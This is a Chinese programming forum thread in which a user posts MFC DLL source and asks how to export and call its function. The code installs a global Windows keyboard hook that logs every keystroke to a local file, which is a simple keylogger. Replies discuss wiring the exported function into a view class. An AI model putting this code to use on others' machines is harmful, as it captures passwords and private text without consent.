解决方案 »
- DrawShadowText在哪个头文件中 VS2005
- LARGE_INTEGER time;time.QuadPard=10000;de 单位?
- 关于服务的问题
- 关于VC界面开发的问题。具体也不好描述。请高手帮忙解答下【十万火急】
- 怎么导出变参函数?
- windows media format sdk中使用precompressed stream的问题,高手请进
- 请问怎么解决这个opengl的问题,谢谢!
- 关于unicode文档的读写操作
- 怎么样判断一个文件是否是文本文件?
- 等待高人现身
- 重载cdialog后,再继承后提示:unresolved external symbol "protected: static struct AFX_MSGMA
- 编码 问题
这是LaunchDLL.h文件
// LaunchDLL.h : main header file for the LAUNCHDLL DLL
//
#define DllExport __declspec(dllexport)
DllExport void WINAPI InstallLaunchEv(); #if !defined(AFX_LAUNCHDLL_H__321B6C28_490A_49D1_8E1B_AEC8826D59A4__INCLUDED_)
#define AFX_LAUNCHDLL_H__321B6C28_490A_49D1_8E1B_AEC8826D59A4__INCLUDED_#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000#ifndef __AFXWIN_H__
#error include 'stdafx.h' before including this file for PCH
#endif#include "resource.h" // main symbols/////////////////////////////////////////////////////////////////////////////
// CLaunchDLLApp
// See LaunchDLL.cpp for the implementation of this class
//class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL //{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
///////////////////////////////////////////////////////////////////////////////{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.#endif // !defined(AFX_LAUNCHDLL_H__321B6C28_490A_49D1_8E1B_AEC8826D59A4__INCLUDED_)这是LaunchDLL.cpp 文件
// LaunchDLL.cpp : Defines the initialization routines for the DLL.
//#include "stdafx.h"
#include "LaunchDLL.h"#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c); ///////////////////////////////////CLaunchDLLApp theApp; //
// Note!
//
// If this DLL is dynamically linked against the MFC
// DLLs, any functions exported from this DLL which
// call into MFC must have the AFX_MANAGE_STATE macro
// added at the very beginning of the function.
//
// For example:
//
// extern "C" BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // normal function body here
// }
//
// It is very important that this macro appear in each
// function, prior to any calls into MFC. This means that
// it must appear as the first statement within the
// function, even before any object variable declarations
// as their constructors may generate calls into the MFC
// DLL.
//
// Please see MFC Technical Notes 33 and 58 for additional
// details.
///////////////////////////////////////////////////////////////////////////////
// CLaunchDLLAppBEGIN_MESSAGE_MAP(CLaunchDLLApp, CWinApp)
//{{AFX_MSG_MAP(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
// CLaunchDLLApp constructionCLaunchDLLApp::CLaunchDLLApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}/////////////////////////////////////////////////////////////////////////////
// The one and only CLaunchDLLApp objectCLaunchDLLApp theApp;
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
} //////////////////////////////
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
///////////////////////////////////////////
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("d:\\txt.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
生成一个DLL工程,把SetWindowsHook和回调函数都放在DLL里,把执行SetWindowsHook的函数导出。
#define DllExport __declspec(dllexport)
DllExport void WINAPI InstallLaunchEv(); 这是LaunchDLL.H文件里声明的,在LaunchDLL.cpp里实现的呀
加入声明
__declspec(dllexport) void WINAPI InstallLaunchEv();
{ CView::OnInitialUpdate();
InstallLaunchEv(); //我在这里用InstallLaunchEv()方法,这个方法定义在DLL里面的。
// TODO: Add your specialized code here and/or call the base class
}楼主,这样添加InstallLaunchEv(); 对吗?
void CKeyHookView::OnInitialUpdate()
{ CView::OnInitialUpdate();
......
// TODO: Add your specialized code here and/or call the base class
}
这部分代码是自己写的还是MFC生成的?